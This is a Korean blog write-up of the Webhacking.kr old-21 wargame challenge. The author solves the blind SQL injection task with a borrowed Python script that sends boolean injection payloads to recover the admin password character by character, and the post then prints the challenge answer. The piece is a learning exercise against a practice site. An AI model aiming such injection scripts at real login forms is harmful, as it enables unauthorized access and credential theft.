[Whois 정보보안교육] Webhacking.kr 21번 (write-up)

webhacking.kr 21번 문제 풀이 (write-up)

 

Webhacking.kr 사이트의 old - 21번 문제는 Blind SQL Injection 에 관한 문제였다.

 

어떤 소스 코드를 통해 Injection을 진행할 수 있을지 알기 위해서 콘솔 창을 열어보았지만, 어떤 코드도 볼 수 없어서 우선 admin/admin 과 guest/guest로 로그인을 시도해보았다.

 

admin/admin, guest/guest로 로그인한 화면이다.

 

guest/guest로 로그인을 했을 때에는 Result 값으로 login success가 나오지만,

admin/admin으로 로그인 했을 때에는 Result 값으로 login fail이 나오는 것으로 보아

admin을 ID로 넣되, pw 값을 특정 값을 넣어주어야 풀릴 것 같았다.

 

하지만, 어떻게 해줘야 할 지 감이 잡히지 않아서 타 블로그에 있는 풀이를 참고했다.

 

 pw값이 참과 거짓일 때 나타나는 값이 다르다는 것을 이용해서

파이썬 코드를 통해서 올바른 pw를 찾아준 풀이이다.

 

 

import requests

URL = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'


def query(payload):
    r = requests.get(URL + payload)
    content = r.text
    return TRUE_PHRASE in content


# 36
def find_pw_length():
    pw_len = 1
    while query("' or id='admin' and length(pw)={}%23".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# there_is_no_rest_for_the_white_angel
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query("' or id='admin' and ord(substr(pw,{},1))={}%23".format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))


find_pw()

 

위의 파이썬 코드를 이용해서 pw를 찾아준 결과,

 

pw = there_is_no_rest_for_the_white_angel

 

인 것을 알 수 있었고, ID에는 admin, pw에는 there_is_no_rest_for_the_white_angel을 넣어 주었더니

문제가 해결되었다!

 

출처

---

[Webhacking.kr] old-21번 문제 풀이 (tistory.com)

[Webhacking.kr] old-21번 문제 풀이